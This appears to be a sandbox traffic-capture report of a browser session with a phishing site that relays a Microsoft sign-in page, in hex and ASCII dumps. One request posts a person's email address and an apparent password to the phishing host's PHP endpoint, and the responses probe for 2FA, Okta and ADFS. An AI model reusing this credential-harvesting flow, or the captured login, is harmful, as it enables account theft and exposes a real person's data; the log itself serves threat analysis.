Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeli
2024-10-24 09:57:56 UTC	1369	IN	Data Raw: 21 21 4a 45 7e 4a 65 72 73 65 79 7e 34 34 21 21 21 4a 4f 7e 4a 6f 72 64 61 6e 7e 39 36 32 21 21 21 4b 5a 7e 4b 61 7a 61 6b 68 73 74 61 6e 7e 37 21 21 21 4b 45 7e 4b 65 6e 79 61 7e 32 35 34 21 21 21 4b 49 7e 4b 69 72 69 62 61 74 69 7e 36 38 36 21 21 21 4b 52 7e 4b 6f 72 65 61 7e 38 32 21 21 21 4b 57 7e 4b 75 77 61 69 74 7e 39 36 35 21 21 21 4b 47 7e 4b 79 72 67 79 7a 73 74 61 6e 7e 39 39 36 21 21 21 4c 41 7e 4c 61 6f 73 7e 38 35 36 21 21 21 4c 56 7e 4c 61 74 76 69 61 7e 33 37 31 21 21 21 4c 42 7e 4c 65 62 61 6e 6f 6e 7e 39 36 31 21 21 21 4c 53 7e 4c 65 73 6f 74 68 6f 7e 32 36 36 21 21 21 4c 52 7e 4c 69 62 65 72 69 61 7e 32 33 31 21 21 21 4c 59 7e 4c 69 62 79 61 7e 32 31 38 21 21 21 4c 49 7e 4c 69 65 63 68 74 65 6e 73 74 65 69 6e 7e 34 32 33 21 21 21 4c 54 Data Ascii: !!JE~Jersey~44!!!JO~Jordan~962!!!KZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT
2024-10-24 09:57:56 UTC	1369	IN	Data Raw: 21 4d 46 7e 53 61 69 6e 74 20 4d 61 72 74 69 6e 7e 35 39 30 21 21 21 50 4d 7e 53 61 69 6e 74 20 50 69 65 72 72 65 20 61 6e 64 20 4d 69 71 75 65 6c 6f 6e 7e 35 30 38 21 21 21 56 43 7e 53 61 69 6e 74 20 56 69 6e 63 65 6e 74 20 61 6e 64 20 74 68 65 20 47 72 65 6e 61 64 69 6e 65 73 7e 31 21 21 21 57 53 7e 53 61 6d 6f 61 7e 36 38 35 21 21 21 53 4d 7e 53 61 6e 20 4d 61 72 69 6e 6f 7e 33 37 38 21 21 21 53 54 7e 53 26 61 74 69 6c 64 65 3b 6f 20 54 6f 6d 26 65 61 63 75 74 65 3b 20 61 6e 64 20 50 72 26 69 61 63 75 74 65 3b 6e 63 69 70 65 7e 32 33 39 21 21 21 53 41 7e 53 61 75 64 69 20 41 72 61 62 69 61 7e 39 36 36 21 21 21 53 4e 7e 53 65 6e 65 67 61 6c 7e 32 32 31 21 21 21 52 53 7e 53 65 72 62 69 61 7e 33 38 31 21 21 21 53 43 7e 53 65 79 63 68 65 6c 6c 65 73 7e 32 Data Ascii: !MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~2
2024-10-24 09:57:56 UTC	1369	IN	Data Raw: 72 75 65 2c 26 71 75 6f 74 3b 66 53 68 6f 75 6c 64 53 75 70 70 6f 72 74 54 61 72 67 65 74 43 72 65 64 65 6e 74 69 61 6c 46 6f 72 52 65 63 6f 76 65 72 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 46 69 78 52 65 73 65 74 54 61 72 67 65 74 43 72 65 64 65 6e 74 69 61 6c 46 6f 72 52 65 63 6f 76 65 72 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 41 76 6f 69 64 4e 65 77 4f 74 63 47 65 6e 65 72 61 74 69 6f 6e 57 68 65 6e 41 6c 72 65 61 64 79 53 65 6e 74 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 55 73 65 50 72 6f 6d 6f 74 65 64 46 65 64 43 72 65 64 54 79 70 65 73 41 72 72 61 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 55 73 65 43 65 72 74 69 66 69 63 61 74 65 49 6e 74 65 72 73 74 69 74 69 61 6c 56 69 65 Data Ascii: rue,"fShouldSupportTargetCredentialForRecovery":true,"fFixResetTargetCredentialForRecovery":true,"fAvoidNewOtcGenerationWhenAlreadySent":true,"fUsePromotedFedCredTypesArray":true,"fUseCertificateInterstitialVie

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49752	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:57 UTC	447	OUT	GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=v4n7qeheaegngerc6unnh0c883
2024-10-24 09:57:58 UTC	1030	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jqCNmInoT%2FoQgAUgRvKaN7yiX4mILZ0slBLxxojOuWxBlHESYJUdZt3%2BNFRYMlSgdwDNm3NXz5J9%2FRSkRM8VIl32NiZ4Guywfi5LKdWN55fgVnEHikQrfrgTS9LWxwtV1yCp%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791b0b58026c38-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1921&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1025&delivery_rate=1494324&cwnd=252&unsent_bytes=0&cid=c3a274be67a85943&ts=687&x=0"
2024-10-24 09:57:58 UTC	339	IN	Data Raw: 31 62 30 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 66 61 6c 73 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 22 7b 26 71 75 6f 74 3b 65 72 72 6f 72 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 63 6f 64 65 26 71 75 6f 74 3b 3a 36 30 30 32 2c 26 71 75 6f 74 3b 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 26 71 Data Ascii: 1b0{"live":false,"is_business":false,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":false,"result":"{"error":{"code":6002,"correlationId&q
2024-10-24 09:57:58 UTC	100	IN	Data Raw: 32 34 2d 31 30 2d 32 34 20 30 39 3a 35 37 3a 35 38 5a 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 69 73 46 61 74 61 6c 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 6d 65 73 73 61 67 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 41 41 44 53 54 53 31 36 35 39 30 30 26 71 75 6f 74 3b 7d 7d 22 7d 0d 0a Data Ascii: 24-10-24 09:57:58Z","isFatal":true,"message":"AADSTS165900"}}"}
2024-10-24 09:57:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49754	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:58:03 UTC	679	OUT	POST /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive Content-Length: 72 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:58:03 UTC	72	OUT	Data Raw: 64 70 5f 6d 3d 61 6e 6e 2d 6b 61 74 68 72 69 6e 2e 6b 6f 63 68 25 34 30 65 6c 6b 61 6d 65 74 2e 64 65 26 64 70 5f 70 3d 62 64 67 6e 66 67 68 6a 6b 74 75 7a 6b 73 74 6b 73 75 74 25 32 43 6b 74 73 25 32 43 6c 77 74 73 Data Ascii: dp_m=ann-kathrin.koch%40elkamet.de&dp_p=bdgnfghjktuzkstksut%2Ckts%2Clwts
2024-10-24 09:58:06 UTC	1085	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:58:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h8nlurl02upcu6159k0cl347b6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z4JgKmVWha5C2EbUwh0hvHyKXqLdzSlhuwMVzv3GKyNUv4tyYw%2BwJh9sl3Eqn0wp%2FQdHDh7yAbTpXCZ2B7qluswaBmmUBYk7fMLq8PqbnB6QoqSYVYKYvO9iihSPv4uCbaQuTA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791b309d9b6c73-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1828&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1351&delivery_rate=1578201&cwnd=251&unsent_bytes=0&cid=9dfd7445c68e83a6&ts=2739&x=0"
2024-10-24 09:58:06 UTC	284	IN	Data Raw: 37 63 32 32 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 74 72 75 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 22 5c 72 5c 6e 5c 72 5c 6e 26 6c 74 3b 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 Data Ascii: 7c22{"live":false,"is_business":true,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":true,"result":"\r\n\r\n<!-- Copyright (C) Microsoft Corporation. All rights
2024-10-24 09:58:06 UTC	1369	IN	Data Raw: 59 50 45 20 68 74 6d 6c 26 67 74 3b 5c 72 5c 6e 26 6c 74 3b 68 74 6d 6c 20 64 69 72 3d 26 71 75 6f 74 3b 6c 74 72 26 71 75 6f 74 3b 20 63 6c 61 73 73 3d 26 71 75 6f 74 3b 26 71 75 6f 74 3b 20 6c 61 6e 67 3d 26 71 75 6f 74 3b 65 6e 26 71 75 6f 74 3b 26 67 74 3b 5c 72 5c 6e 26 6c 74 3b 68 65 61 64 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 74 69 74 6c 65 26 67 74 3b 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 26 6c 74 3b 5c 2f 74 69 74 6c 65 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 26 71 75 6f 74 3b 43 6f 6e 74 65 6e 74 2d 54 79 70 65 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 74 65 78 74 5c 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 26 Data Ascii: YPE html>\r\n<html dir="ltr" class="" lang="en">\r\n<head>\r\n <title>Sign in to your account<\/title>\r\n <meta http-equiv="Content-Type" content="text\/html; charset=UTF-8&
2024-10-24 09:58:06 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 26 71 75 6f 74 3b 20 5c 2f 26 67 74 3b 5c 72 5c 6e 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 6e 6f 73 63 72 69 70 74 26 67 74 3b 5c 72 5c 6e 20 20 20 20 20 20 20 20 26 6c 74 3b 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 26 71 75 6f 74 3b 52 65 66 72 65 73 68 26 71 75 6f 74 3b 20 63 6f 6e 74 65 6e 74 3d 26 71 75 6f 74 3b 30 3b 20 55 52 4c 3d 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 6a 73 64 69 73 61 62 6c 65 64 26 71 75 6f 74 3b 20 5c 2f 26 67 74 3b 5c 72 5c 6e 20 20 20 20 26 6c 74 3b 5c 2f 6e 6f 73 63 72 69 70 74 26 67 74 3b 5c 72 5c 6e 5c 72 5c 6e 20 20 20 20 5c 72 5c 6e 20 20 20 20 5c 72 5c 6e 26 6c 74 3b 6d 65 Data Ascii: ontent="telephone=no" \/>\r\n\r\n <noscript>\r\n <meta http-equiv="Refresh" content="0; URL=https:\/\/login.microsoftonline.com\/jsdisabled" \/>\r\n <\/noscript>\r\n\r\n \r\n \r\n<me
2024-10-24 09:58:06 UTC	1369	IN	Data Raw: 30 30 32 36 73 69 67 6e 75 70 3d 31 5c 5c 75 30 30 32 36 6c 77 3d 31 5c 5c 75 30 30 32 36 66 6c 3d 65 61 73 69 32 5c 5c 75 30 30 32 36 65 70 63 74 3d 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 4f 77 70 57 37 5a 68 7a 2d 79 78 72 4c 4e 6d 44 4d 66 6f 58 34 75 65 72 4b 72 46 6f 53 43 4a 39 4f 59 59 73 6e 4d 4f 48 72 4a 2d 4c 5a 71 44 5f 56 4f 67 56 6e 46 6f 48 79 41 70 53 53 72 39 30 55 51 30 34 39 42 56 62 61 72 77 39 59 6f 7a 69 4b 2d 52 2d 52 5f 63 58 42 6c 64 53 53 44 37 75 42 77 54 33 61 62 46 79 73 41 4a 32 72 32 6c 47 63 68 6f 66 34 46 6a 35 36 62 48 69 5f 78 56 67 76 6d 45 35 35 37 51 59 50 4d 56 44 64 79 68 75 4b 6b 56 7a 68 32 43 6b 46 48 43 32 4f 61 61 7a 2d 45 69 30 36 38 44 34 68 38 67 6a Data Ascii: 0026signup=1\\u0026lw=1\\u0026fl=easi2\\u0026epct=PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeOwpW7Zhz-yxrLNmDMfoX4uerKrFoSCJ9OYYsnMOHrJ-LZqD_VOgVnFoHyApSSr90UQ049BVbarw9YoziK-R-R_cXBldSSD7uBwT3abFysAJ2r2lGchof4Fj56bHi_xVgvmE557QYPMVDdyhuKkVzh2CkFHC2Oaaz-Ei068D4h8gj
2024-10-24 09:58:06 UTC	1369	IN	Data Raw: 30 32 36 78 2d 63 6c 69 65 6e 74 2d 53 4b 55 3d 49 44 5f 4e 45 54 38 5f 30 5c 5c 75 30 30 32 36 78 2d 63 6c 69 65 6e 74 2d 56 65 72 3d 37 2e 35 2e 31 2e 30 5c 5c 75 30 30 32 36 75 61 69 64 3d 35 63 37 65 36 64 39 30 64 31 36 61 34 63 65 30 62 37 35 63 62 64 35 61 35 64 64 66 61 61 61 62 5c 5c 75 30 30 32 36 6d 73 70 72 6f 78 79 3d 31 5c 5c 75 30 30 32 36 69 73 73 75 65 72 3d 6d 73 6f 5c 5c 75 30 30 32 36 74 65 6e 61 6e 74 3d 63 6f 6d 6d 6f 6e 5c 5c 75 30 30 32 36 75 69 5f 6c 6f 63 61 6c 65 73 3d 65 6e 2d 55 53 5c 5c 75 30 30 32 36 65 70 63 74 3d 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 34 2d 65 50 44 4a 75 73 61 39 61 34 36 53 6c 67 52 31 48 5a 63 50 66 69 30 4d 63 42 6f 58 72 65 38 37 56 51 5a 54 Data Ascii: 026x-client-SKU=ID_NET8_0\\u0026x-client-Ver=7.5.1.0\\u0026uaid=5c7e6d90d16a4ce0b75cbd5a5ddfaaab\\u0026msproxy=1\\u0026issuer=mso\\u0026tenant=common\\u0026ui_locales=en-US\\u0026epct=PAQABDgEAAADW6jl31mB3T7ugrWTT8pFe4-ePDJusa9a46SlgR1HZcPfi0McBoXre87VQZT
2024-10-24 09:58:06 UTC	1369	IN	Data Raw: 61 7e 33 35 39 21 21 21 42 46 7e 42 75 72 6b 69 6e 61 20 46 61 73 6f 7e 32 32 36 21 21 21 42 49 7e 42 75 72 75 6e 64 69 7e 32 35 37 21 21 21 43 56 7e 43 61 62 6f 20 56 65 72 64 65 7e 32 33 38 21 21 21 4b 48 7e 43 61 6d 62 6f 64 69 61 7e 38 35 35 21 21 21 43 4d 7e 43 61 6d 65 72 6f 6f 6e 7e 32 33 37 21 21 21 43 41 7e 43 61 6e 61 64 61 7e 31 21 21 21 4b 59 7e 43 61 79 6d 61 6e 20 49 73 6c 61 6e 64 73 7e 31 21 21 21 43 46 7e 43 65 6e 74 72 61 6c 20 41 66 72 69 63 61 6e 20 52 65 70 75 62 6c 69 63 7e 32 33 36 21 21 21 54 44 7e 43 68 61 64 7e 32 33 35 21 21 21 43 4c 7e 43 68 69 6c 65 7e 35 36 21 21 21 43 4e 7e 43 68 69 6e 61 7e 38 36 21 21 21 43 58 7e 43 68 72 69 73 74 6d 61 73 20 49 73 6c 61 6e 64 7e 36 31 21 21 21 43 43 7e 43 6f 63 6f 73 20 28 4b 65 65 6c 69 Data Ascii: a~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeli
2024-10-24 09:58:06 UTC	1369	IN	Data Raw: 21 21 4a 45 7e 4a 65 72 73 65 79 7e 34 34 21 21 21 4a 4f 7e 4a 6f 72 64 61 6e 7e 39 36 32 21 21 21 4b 5a 7e 4b 61 7a 61 6b 68 73 74 61 6e 7e 37 21 21 21 4b 45 7e 4b 65 6e 79 61 7e 32 35 34 21 21 21 4b 49 7e 4b 69 72 69 62 61 74 69 7e 36 38 36 21 21 21 4b 52 7e 4b 6f 72 65 61 7e 38 32 21 21 21 4b 57 7e 4b 75 77 61 69 74 7e 39 36 35 21 21 21 4b 47 7e 4b 79 72 67 79 7a 73 74 61 6e 7e 39 39 36 21 21 21 4c 41 7e 4c 61 6f 73 7e 38 35 36 21 21 21 4c 56 7e 4c 61 74 76 69 61 7e 33 37 31 21 21 21 4c 42 7e 4c 65 62 61 6e 6f 6e 7e 39 36 31 21 21 21 4c 53 7e 4c 65 73 6f 74 68 6f 7e 32 36 36 21 21 21 4c 52 7e 4c 69 62 65 72 69 61 7e 32 33 31 21 21 21 4c 59 7e 4c 69 62 79 61 7e 32 31 38 21 21 21 4c 49 7e 4c 69 65 63 68 74 65 6e 73 74 65 69 6e 7e 34 32 33 21 21 21 4c 54 Data Ascii: !!JE~Jersey~44!!!JO~Jordan~962!!!KZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT
2024-10-24 09:58:06 UTC	1369	IN	Data Raw: 21 4d 46 7e 53 61 69 6e 74 20 4d 61 72 74 69 6e 7e 35 39 30 21 21 21 50 4d 7e 53 61 69 6e 74 20 50 69 65 72 72 65 20 61 6e 64 20 4d 69 71 75 65 6c 6f 6e 7e 35 30 38 21 21 21 56 43 7e 53 61 69 6e 74 20 56 69 6e 63 65 6e 74 20 61 6e 64 20 74 68 65 20 47 72 65 6e 61 64 69 6e 65 73 7e 31 21 21 21 57 53 7e 53 61 6d 6f 61 7e 36 38 35 21 21 21 53 4d 7e 53 61 6e 20 4d 61 72 69 6e 6f 7e 33 37 38 21 21 21 53 54 7e 53 26 61 74 69 6c 64 65 3b 6f 20 54 6f 6d 26 65 61 63 75 74 65 3b 20 61 6e 64 20 50 72 26 69 61 63 75 74 65 3b 6e 63 69 70 65 7e 32 33 39 21 21 21 53 41 7e 53 61 75 64 69 20 41 72 61 62 69 61 7e 39 36 36 21 21 21 53 4e 7e 53 65 6e 65 67 61 6c 7e 32 32 31 21 21 21 52 53 7e 53 65 72 62 69 61 7e 33 38 31 21 21 21 53 43 7e 53 65 79 63 68 65 6c 6c 65 73 7e 32 Data Ascii: !MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~2
2024-10-24 09:58:06 UTC	1369	IN	Data Raw: 72 75 65 2c 26 71 75 6f 74 3b 66 53 68 6f 75 6c 64 53 75 70 70 6f 72 74 54 61 72 67 65 74 43 72 65 64 65 6e 74 69 61 6c 46 6f 72 52 65 63 6f 76 65 72 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 46 69 78 52 65 73 65 74 54 61 72 67 65 74 43 72 65 64 65 6e 74 69 61 6c 46 6f 72 52 65 63 6f 76 65 72 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 41 76 6f 69 64 4e 65 77 4f 74 63 47 65 6e 65 72 61 74 69 6f 6e 57 68 65 6e 41 6c 72 65 61 64 79 53 65 6e 74 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 55 73 65 50 72 6f 6d 6f 74 65 64 46 65 64 43 72 65 64 54 79 70 65 73 41 72 72 61 79 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 66 55 73 65 43 65 72 74 69 66 69 63 61 74 65 49 6e 74 65 72 73 74 69 74 69 61 6c 56 69 65 Data Ascii: rue,"fShouldSupportTargetCredentialForRecovery":true,"fFixResetTargetCredentialForRecovery":true,"fAvoidNewOtcGenerationWhenAlreadySent":true,"fUsePromotedFedCredTypesArray":true,"fUseCertificateInterstitialVie

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49756	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:58:07 UTC	447	OUT	GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=v4n7qeheaegngerc6unnh0c883
2024-10-24 09:58:08 UTC	1028	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:58:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q28P3Q296lEfrN%2FLlR6CIDSJXkJu1GCaOCRr9KxEkXSRQqPB4Nn3YymOYGbRxzubzJ23Dq%2Fwc60PQKivpiY2tzGD0FWS3ditWJJsJIMXkyis9gO2b9xGVwPPL8Wzn%2FWgbN6cnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791b4ae8966b9b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1025&delivery_rate=1705535&cwnd=251&unsent_bytes=0&cid=14857b93743f6977&ts=676&x=0"
2024-10-24 09:58:08 UTC	341	IN	Data Raw: 31 62 30 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 66 61 6c 73 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 22 7b 26 71 75 6f 74 3b 65 72 72 6f 72 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 63 6f 64 65 26 71 75 6f 74 3b 3a 36 30 30 32 2c 26 71 75 6f 74 3b 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 26 71 Data Ascii: 1b0{"live":false,"is_business":false,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":false,"result":"{"error":{"code":6002,"correlationId&q
